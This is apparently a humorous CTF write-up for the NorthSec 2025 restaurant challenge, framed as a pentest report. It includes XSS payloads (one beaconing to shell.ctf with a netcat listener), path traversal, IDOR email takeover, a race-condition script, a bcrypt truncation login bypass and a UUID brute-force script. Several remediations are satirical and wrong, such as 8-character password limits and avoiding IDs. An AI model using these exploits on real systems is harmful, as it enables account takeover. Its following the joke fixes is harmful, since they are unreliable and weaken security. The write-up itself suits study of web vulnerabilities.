NSEC25 Disabling the Camera Operator - Mon, May 26, 2025 - Sideni
Give a man an exploit, and you have him flag once. Teach a man to search for vulnerabilities, and you have him down the rabbit hole for a lifetime... | Web | Nsec25
I’m just a mere pentester who’s been taught how to pentest and nothing else.
It’s just a game
Never have people been this wrong…
This is SERIOUS business and none shall tell me otherwise!
So… Let’s dig in the code we’ve been given, shall we?
Filename:
CVSS_bonsecours_restaurants_pentest_report_v1.0(final)(real_final)(still_some_notes).docx
Disclaimer
This pentest report is intended solely for CVSS’ Menoum Restaurants inc.; if you are not the intended audience, you must delete this document immediately and your email account.
Table of Content
- Executive Summary
- Scope of the Pentest
- Pentesting Techniques Used
- Insufficient Filtering on Base64 Pattern
- Stored XSS in Email Address
- Internal API Path Traversal
- Arbitrary Pleb User (like me) Email Change
- Prestigious User Email Change via Race Condition in Database Reset
- Denial of Service on the Message Endpoint
- Passwords Truncated With Long Emails
- Leak of Internal Source Code
- Order Approval IDOR via Predictible Order ID
0. Executive Summary
A pentest (not to be confused with testing pencils and pens) was conducted to evaluate the security of the target environment owned by CVSS’ Menoum Restaurants inc. Several vulnerabilities were identified, ranging from low to critical risk. Some issues could allow unauthorized access, system compromise, or more importantly, anaphylactic shock.
Immediate attention is recommended for high and critical findings, but mostly for anaphylactic shocks.
This report provides detailed results and remediation steps to improve overall security. It however skips on ways to remediate anaphylactic shocks. For more information on that topic, you might want to call 911.
1.0 Scope of the Pentest
The scope of this pentest was defined in collaboration with CVSS’ Menoum Restaurants inc. to assess the security posture of specified assets.
The engagement included testing of the following:
- Target systems, applications, or IP ranges as outlined in the agreed-upon rules of engagement.
- The CVSS’ Menoum Restaurants website
- The internal API of the CVSS’ Menoum Restaurants website
- The database running on the CVSS’ Menoum Restaurants website
- External and/or internal network infrastructure, web applications, and other relevant services as applicable.
- Testing was conducted from an unauthenticated and authenticated perspective, simulating an attacker with limited access rights.
All testing activities were performed within the defined scope and during the agreed testing window (i.e. anytime except during the happy hour).
2.0 Pentesting Techniques Used
During the pentesting engagement (again, we have not tested pencils and pens; this should be considered as a blind spot), a variety of industry-standard techniques were employed to identify potential vulnerabilities and assess the overall security posture of the target environment. These techniques were aligned with widely accepted frameworks, including the OWASP Testing Guide, the MITRE ATT&CK framework, and the Pentesting Execution Standard (PTES). The testing approach included the following key phases:
2.1 Reconnaissance
The reconnaissance phase involved collecting publicly available information about the target systems, networks, and personnel. Techniques used included:
- Passive Reconnaissance: Gathering intelligence without directly interacting with the target systems (e.g., WHOIS lookups, DNS enumeration, and open-source intelligence (OSINT) collection).
- Active Reconnaissance: Interacting directly with the target to discover live hosts, open ports, and services (e.g., ping sweeps, port scanning using Nmap).
2.2 Scanning and Enumeration
Following reconnaissance, scanning and enumeration were conducted to map out the attack surface and identify potential entry points:
- Port and Service Scanning: Identification of active services and their versions.
- Vulnerability Scanning: Use of automated tools to detect known vulnerabilities.
- Banner Grabbing and Service Fingerprinting: Collection of metadata to better understand software and service configurations.
Note to the reader: None of this was useful (but, it looks really good in a report) as we were provided with CVSS’ Menoum Restaurants inc.’s source code.
2.3 Exploitation
Where appropriate, exploitation was performed to validate the presence of vulnerabilities and assess their impact:
- Manual and Automated Exploitation: Attempts to exploit discovered weaknesses in a controlled manner, using frameworks such as Metasploit or custom scripts.
- Web Application Attacks: Testing for OWASP Top 10 vulnerabilities, including SQL injection, cross-site scripting (XSS), and insecure direct object references (IDOR).
- Privilege Escalation: Efforts to gain higher-level access once initial footholds were established.
2.4 Reporting and Risk Analysis
Findings were documented with corresponding risk ratings based on likelihood and impact. Each vulnerability includes:
- A technical description of the issue
- Steps to reproduce (where applicable)
- Evidence (e.g., screenshots, logs)
- A proof of impact noted as “Personally Identifiable Flag” (PIF) (where applicable)
- Remediation recommendations
3.0 Insufficient Filtering on Base64 Pattern
// REMOVE: I can’t say I’ve never felt this way…
3.1 Criticality
3.2 Description
The endpoint menuid
accessed via a GET request to /menu/<restaurantname>
improperly restricts access to The Toplofty Estaminet restaurant allowing any plebs (like me) inside.
3.3 Analysis
The following code snippet shows how the menuid
endpoint handles access to The Toplofty Estaminet for any plebs (like me). It basically checks if the restaurantname
is “The Toplofty Estaminet” (base64-encoded) and if the current user is a pleb (like me).
@app.route('/menu/<restaurantname>')
menuid(restaurantname):
if session.get('email') is not None:
if "VGhlIFRvcGxvZnR5IEVzdGFtaW5ldA==" in request.path and session.get('class') < 3:
return render_template("nono.html", error='The Toplofty Estaminet caters to a refined audience. We regret to inform you that you are not part of this distiguished group.')
name = base64.b64decode(restaurantname).decode('utf-8')
if name == 'The Toplofty Estaminet':
# Redacted
if name == 'Plebian Chow':
# Redacted
else:
return redirect(url_for('logout'))
else:
return redirect(url_for('login'))
// REMOVE: Being a pleb myself, I find this very insulting…
Most base64 decoders are not strict on the data they decode and will simply skip over characters that aren’t part of the base64 encoding alphabet (i.e. [A-Za-z0-9/+=]).
For that reason, it is possible to have the restaurant name decode to "The Toplofty Estaminet"
without matching the base64-encoded value "VGhlIFRvcGxvZnR5IEVzdGFtaW5ldA=="
.
3.4 PoC
- When logged in as pleb (like me), access the following URL:
http://restaurants.ctf:5000/menu/VGhlIFRvcGxvZnR5IEVzdGFtaW5ld*A==
- Observe that you can now order fancy delicacies // REMOVE: I would like to order them escargots with crème fraîche oui oui
With that, you can retrieve a PIF: FLAG-MenoumMenoumMenoum
.
3.5 Remediation
Apply stricter access controls and do not rely on base64-encoded values for comparisons.
4.0 Stored XSS in Email Address
// REMOVE: I’m a pentester pentesting. I’m not sure I completely understand the way this game works…
4.1 Criticality
4.2 Description
It is possible to store an XSS in a user’s email and trigger it when listing users/plebs (like me).
4.3 Analysis
As shown in the code below, the user’s email is taken as is and added to HTML.
By setting the user’s email to <script>alert(1);</script>@example.com
, the classical alert(1)
will run on a victim’s browser.
@app.route('/users')
def listUsers():
if session.get('email') is not None:
users = query_db('select id, email from users');
user_li = ''
for i in range(0,len(users)):
user_li = user_li + '<li>'+ str(users[i]['id']) + '| ' +users[i]['email']+'</li>'
fl = '<ul>'+user_li+'</ul>'
return render_template('users.html', users=fl)
4.4 PoC
- Use the
/users/rename
endpoint to set your user’s email to<script>alert(1);</script>@example.com
- Access the
/users
endpoint and observe the stored XSS
Additional Information
In our analysis, the email was set to <img src="http://shell.ctf:1234/hey"/>@example.com
.
At the same time, the port 1234 was opened on shell.ctf
with the netcat command nc -6 -lnvp 1234
to listen for any requests potentially sent by bots.
Like most of my endeavours, this failed…
4.5 Remediation
It is recommended to encode user input before adding it to an HTML template.
5.0 Internal API Path Traversal
// REMOVE: Is it REALLY internal???
5.1 Criticality
5.2 Description
The application uses an internal API and sends user controlled parameters to that API. Those parameters can be used to perform path traversals on the API to access other internal endpoints.
5.3 Analysis
The endpoint vulnerable to this path traversal is allergy2
which can be reached with a POST request to /users/allergy
.
This uses the aid
body parameter to show the allergies of the logged in user.
@app.route('/users/allergy', methods=['POST'])
def allergy2():
aid = request.form['aid']
print('aid is' + aid)
if session.get('email') is not None:
path = 'http://127.0.0.1:8181/api/' + str(session.get('id')) + '/' + aid
return requests.get(path).content
else:
return redirect(url_for('login'))
Because the aid
parameter is simply appended to the API path, one can use this parameter to perform a path traversal and reach different API endpoints.
It would be possible, for example, to access the allergies of a different user by setting aid
to ../{user_id}/2
.
5.4 PoC
- List the users/plebs (like me) with the
/users
endpoint - Select the ID of the targetted user; for our example, let’s take ID 3015 for Rod McCarthy
- Send a POST request to
/users/allergy
with the body parameteraid
set to../3015/2
This is leaking sensitive information about users’ allergies, mussels in this case, as well as leaking a PIF: FLAG-ShellFishShellCode
.
5.5 Remediation
When using user input as path parameters to an API, the data must first be checked.
6.0 Arbitrary Pleb User (like me) Email Change
// REMOVE: I’ve always been told “One man’s trash is another man’s treasure”. I’m not sure I like this…
6.1 Criticality
6.2 Description
It is possible to change any pleb’s (like me) email address (and password) by using the rename
feature.
An attacker could change the email of a victim to a controlled email address and wait for the password to be sent over email.
6.3 Analysis
As shown in the code snippet below, the renamepost
endpoint expects the current user’s email
as well as a newemail
. It fails however to validate that the provided email
is the one of the logged in user.
@app.route("/users/rename", methods = ['POST'])
def renamepost():
email = request.form['email']
class_value = query_db('SELECT class from users where email= ? LIMIT 1', [email] )[0]['class']
email_exists = query_db('SELECT id from users where email = ?',[request.form['newemail']])
if len(email_exists) > 0 and not None:
return render_template("nono.html", error='Email already exists')
The first check performed is to see if the provided newemail
already exists in the database and if it does, an error is returned.
If it does not exist, the class of the user identified by email
is verified to be a pleb (like me).
In that case, the email is updated to newemail
and the password is changed to a random one.
if class_value < 3:
newemail = request.form['newemail']
new_pass = ''.join(secrets.choice(alphabet) for i in range(30))
finalpass=bcrypt.hashpw((newemail+new_pass).encode('utf-8'),salt)
i_pass = finalpass.decode('utf-8');
g.db.execute('update users set email = ?, password = ? where email = ?', [newemail, i_pass, email])
g.db.commit()
return render_template("nono.html", error='The new password will be emailed within 5 business days')
else:
return render_template("nono.html", error='Our VIP employees are very important. Please call our VIP line during business hours for a name change')
6.4 PoC
- List the users/plebs (like me) with the
/users
endpoint - Select the email of the targetted user/pleb (like me); for our example, let’s take
AHolmes@nsec.ctf
- Send a POST request to
/users/rename
with the body parametersemail=AHolmes%40nsec.ctf
andnewemail=anything%40example.com
- List the users once again and observe that AHolmes’ email has been changed successfully to
anything@example.com
6.5 Remediation
When performing email changes, it is recommended to validate.
7.0 Prestigious User Email Change via Race Condition in Database Reset
// REMOVE: Still just pentesting and clearly, that’s what the designer wanted me to do, right?
7.1 Criticality
7.2 Description
As shown in 6.0 Arbitrary Pleb User (like me) Email Change, it is possible to change other user’s email (and password) with some limitations.
It is however possible to circumvent those limitations by using a race condition that exists with the reset
endpoint.
This effectively allows to change the email of any prestigious user.
// REMOVE: mmm yes quite, fancy is my second name
7.3 Analysis
The reset
endpoint is fairly simple as shown in the code snippet below. It simply rebuilds the repast database by running the schema.sql
script.
@app.route('/reset')
def reset():
os.system('sqlite3 repast.db < schema.sql')
return 'DB has been reset'
The schema.sql
script most likely runs a series of inserts in the database like such:
INSERT INTO users (id, email, password, class) VALUES (1, 'test@example.com', 'some_hash', 3);
INSERT INTO users (id, email, password, class) VALUES (2, 'test2@example.com', 'some_hash', 1);
INSERT INTO users (id, email, password, class) VALUES (3, 'test3@example.com', 'some_hash', 1);
...
For that reason, the database is gradually filled with the same users as before the reset was launched. This means there is a moment at which the user with ID 1 will be in the database, but where the user with ID 3015 won’t be.
Given this, it is possible to bypass the check on email_exists
when changing a user’s email.
email_exists = query_db('SELECT id from users where email = ?',[request.form['newemail']])
if len(email_exists) > 0 and not None:
return render_template("nono.html", error='Email already exists')
With this, when the database reset will have finished, a pleb user (like me) could have the same email as a prestigious and fancy user.
From there, because of the WHERE
clause shown below, changing that pleb user’s (like me) email will also change the prestigious user’s email.
g.db.execute('update users set email = ?, password = ? where email = ?', [newemail, i_pass, email])
7.4 PoC
- Choose a pleb user (like me) close to the start of the users list (e.g.
AHolmes@nsec.ctf
) - Select the email of the targetted prestigious user; for our example, let’s take
RMcCarthy@nsec.ctf
- Start an infinite loop doing the email change from
AHolmes@nsec.ctf
toRMcCarthy@nsec.ctf
. Something like:
import requests
session = requests.Session()
while True:
paramsPost = {"newemail":"RMcCarthy@nsec.ctf","email":"AHolmes@nsec.ctf"}
headers = {"Content-Type":"application/x-www-form-urlencoded"}
cookies = {"session":"eyJjbGFzcyI6MSwiZW1haWwiOiJKTWNQaGVyc29uQG5zZWMuY3RmIiwiaWQiOjV9.aDSqtA.fQgeaTj8lia9Mo3qjPmEB5I-igg"}
response = session.post("http://restaurants.ctf:5000/users/rename", data=paramsPost, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
- Launch the database reset by accessing the
/reset
endpoint - Wait for seeing the email change successfully
Status code: 500
Response body: b'...500 Internal Server Error...'
Status code: 200
Response body: b'...The new password will be emailed within 5 business days...'
Status code: 500
Response body: b'...500 Internal Server Error...'
- Finally, change the email of
RMcCarthy@nsec.ctf
toanything@example.com
via the/users/rename
endpoint - List the users once again and observe that Rob McCarthy’s email has been changed successfully to
anything@example.com
Additional Information
Note that when logging in, only the first result is used to build the session.
realpass = query_db('select id, class, password from users where email = ?', [email])
if len(realpass) > 0 and not None:
fullpass = realpass[0]['password']
if fullpass == p_pass:
session['email'] = email
session['id'] = realpass[0]['id']
session['class'] = realpass[0]['class']
return redirect(url_for('main'))
For that reason, if the new password was known, it would not directly be possible to login as someone more prestigious than pleb (like me).
// REMOVE:
Such is the harsh reality of life
– Rao
7.5 Remediation
Speed limits should be enforced to avoid race conditions.
8.0 Denial of Service on the Message Endpoint
// REMOVE: This would be bad for the reputation of CVSS’ Menoum Restaurants inc., people gotta eat!
8.1 Criticality
8.2 Description
Ordered items can be seen in the message endpoint. When ordering inexistent items, the message endpoint becomes unusable allowing an attacker to cause a denial of service on the message endpoint of other users/plebs (like me).
8.3 Analysis
With the orderStep3
endpoint (i.e. /menu/confirm
), it is possible to order items on behalf of other users/plebs (like me).
The endpoint fails however at validating the item ordered.
The following code snippet shows that the ordered item is directly added to the ORDERS
table.
@app.route('/menu/confirm', methods=['POST'])
def orderStep3():
if session.get('email') is not None:
item = int(request.form['order'])
rcpt = int(request.form['users'])
path = 'http://127.0.0.1:8181/api/' +str(rcpt) + '/1'
result = requests.get(path).content
tr = result.decode('utf-8')
if tr == 'NO':
con = sqlite3.connect('repast.db')
cur = con.cursor()
con.execute('INSERT INTO ORDERS(rcpt_id, item_id, Approved) VALUES(?,?,1)',(rcpt,item))
With an invalid item ID inserted, the message endpoint becomes unusable (i.e. error 500).
As shown in the code below, if an invalid item ID is used, the item_name
will be None
.
For that reason, the line item_name[0]['Item']
will cause an exception.
item_name = query_db('SELECT Item from menu where item_id = ?',[int(orders[x]['item_id'])])
messages = messages + '<ul> '+ str(item_name[0]['Item']) + '</ul>'
8.4 PoC
- Send a POST request to
/menu/confirm
with the body parametersorder=7763&users={your_user_id}
- Try accessing the page
/message
and observe an error 500
8.5 Remediation
It is recommended to duplicate the web application to avoid availability issues.
9.0 Passwords Truncated with Long Emails
// REMOVE: I’m technically not allowed to say where I’ve also seen this, but I’ve seen it…
9.1 Criticality
9.2 Description
When logging in, the application combines the provided email and password, and hashes the result. This hash is compared to the value stored in the database to log in the user/pleb (like me). The hashing algorithm however truncates silently the input to 72 bytes which allows an attacker to log in with any account that has a 72 bytes email or longer without knowing the password.
9.3 Analysis
As shown in the code snippet below, the hash algorithm bcrypt
is used to hash the concatenated email + password
.
Wikipedia and other resources online will tell you that many implementations of bcrypt truncate the password to the first 72 bytes.
This is indeed the case for the used bcrypt module.
@app.route("/users/login", methods = ['POST'])
def loginpost():
email = request.form['email']
password = request.form['password']
temppass = bcrypt.hashpw((email+password).encode('utf-8'),salt)
p_pass = temppass.decode('utf-8')
realpass = query_db('select id, class, password from users where email = ?', [email])
if len(realpass) > 0 and not None:
fullpass = realpass[0]['password']
if fullpass == p_pass:
As seen with 6.0 Arbitrary Pleb User (like me) Email Change, it is possible to change other user’s email (and password). The password is generated randomly and is not known, but this information is not required as the email can be set to 72 bytes or more.
9.4 PoC
- Just like in 6.0 Arbitrary Pleb User (like me) Email Change, select the email of the targetted user/pleb (like me); for our example, let’s take
GNash@nsec.ctf
- Send a POST request to
/users/rename
with the body parametersemail=GNash%40nsec.ctf
andnewemail=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%40example.com
- In a new browser session, log in as
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@example.com
with any password - Observe the presence of a PIF:
FLAG-mTKmrCUzf82LPdmK7x8yxpcAlo0R3hsF
9.5 Remediation
To avoid data truncation, it is recommended to allow emails and passwords of at most 8 characters.
Note: This is future proof as it will still work if a newer bcrypt version ends up truncating at 57 or 42 bytes.
10.0 Leak of Internal Source Code
// REMOVE: I’m starting to realize I’ll also be pentesting on Tuesday at work…
10.1 Criticality
10.2 Description
The internal API being accessible via 5.0 Internal API Path Traversal, it is possible to get the internal API source code by accessing the endpoint ../../static/app.backup
.
10.3 Analysis
As described in 5.0 Internal API Path Traversal, reaching the internal /admin
endpoint by setting aid
to ../../admin
will show the following HTML comment (note: because this is Flask /admin/
will return a 404).
<!-- full source can be accessed on /static/app.backup -->
With that information, the internal API source code can be recovered.
10.4 Remediation
It is recommended to open source the code on a platform like GitHub to avoid any impact of internal source code leaks.
11.0 Order Approval IDOR via Predictible Order ID
// REMOVE: With the combined vulns, we can end this destructive pentest and bring orders to the galaxy!
11.1 Criticality
11.2 Description
When ordering a meal to someone with allergies, an admin must first approve the order by specifying the order ID. This ID is however predictible and can be used by an attacker to approve an order on behalf of an actual admin.
11.3 Analysis
As shown in the code snippet below, the uuid.uuid1
method is used to generate the order ID.
@app.route('/menu/confirm', methods=['POST'])
def orderStep3():
if session.get('email') is not None:
item = int(request.form['order'])
rcpt = int(request.form['users'])
path = 'http://127.0.0.1:8181/api/' +str(rcpt) + '/1'
result = requests.get(path).content
tr = result.decode('utf-8')
if tr == 'NO':
# Redacted
if tr == 'YES':
uu = str(uuid.uuid1(clock_seq=11011510199))
con = sqlite3.connect('repast.db')
cur = con.cursor()
con.execute('INSERT INTO ORDERS(rcpt_id, item_id, Approved, uuid ) VALUES(?,?,0,?)',(rcpt,item,uu))
con.commit()
return render_template('confirm.html',message="This person has allergies. Your order will be deliverd once an admin approves")
This uuid.uuid1 method generates a UUID based on the host ID, the sequence number, and the current time.
As mentioned in the documentation, the sequence number is taken from clock_seq
.
If clock_seq is given, it is used as the sequence number; otherwise a random 14-bit sequence number is chosen.
For that reason, the only variation is the current time and can be guessed.
With the guessed UUID, it is possible to use the internal API endpoint /admin/approve/<uuid>
to approve the order.
The code snippet below shows that this endpoint only requires to know the order ID.
@app.route('/admin/approve/<uuid>')
def finalApprove(uuid):
con = sqlite3.connect('../repast/repast.db')
cur = con.cursor()
con.execute('UPDATE orders set Approved=1 where uuid=?',[uuid])
con.commit()
return render_template('admin_a.html',msg="<h1>Your Order has been Approved </h1>")
11.4 PoC
- With the
/menu/confirm
endpoint, order an item to someone with allergies; for our example, let’s order mussels to Rob McCarthy - The UUID can be guessed with the following code snippet by providing the proper parameters to the
uuid1
method (Thanks to my teammates Klammydia, nic-lovin, and fob.)
import uuid
def UUIDTime(u):
dt_zero = datetime.datetime(1582, 10, 15)
return dt_zero + datetime.timedelta(microseconds=u.time//10)
# Taken from Python's UUID library
def uuid1(node, clock_seq, timestamp):
"""Generate a UUID from a host ID, sequence number, and the current time.
If 'node' is not given, getnode() is used to obtain the hardware
address. If 'clock_seq' is given, it is used as the sequence number;
otherwise a random 14-bit sequence number is chosen."""
time_low = timestamp & 0xffffffff
time_mid = (timestamp >> 32) & 0xffff
time_hi_version = (timestamp >> 48) & 0x0fff
clock_seq_low = clock_seq & 0xff
clock_seq_hi_variant = (clock_seq >> 8) & 0x3f
return uuid.UUID(fields=(time_low, time_mid, time_hi_version,
clock_seq_hi_variant, clock_seq_low, node), version=1)
- To automate the process, the time can be iterated on with this additionnal code snippet
def poke(u):
data = {'aid': './.././../admin/approve/' + str(u)}
resp = requests.post('http://restaurants.ctf:5000/users/allergy', data=data, cookies=cookies, proxies=proxies)
print(u, resp.status_code, len(resp.text))
proxies={'http': 'http://localhost:8080/'}
cookies = {'session': 'eyJjbGFzcyI6MSwiZW1haWwiOiJKTWNQaGVyc29uQG5zZWMuY3RmIiwiaWQiOjV9.aCf20g.qRRpLwRVqGey6QnUSdgnXjY-q4I'}
u = uuid.UUID('f3ceb973-3408-11f0-8fb7-00163e63c61e')
time = u.time
prev = u
while True:
time -= 1
nu = uuid1(u.node, u.clock_seq, time)
if nu != prev:
poke(nu)
- After a while, the order should have been approved
- Return to the home page and observe the presence of another PIF
- It probably looked something like
FLAG-AnEpipenIsAlwaysAMustHave!
- It probably looked something like
11.5 Remediation
To avoid IDORs, it is recommended to avoid using IDs.
Conclusion
I’d give The Toplofty Estaminet a perfect 5/7!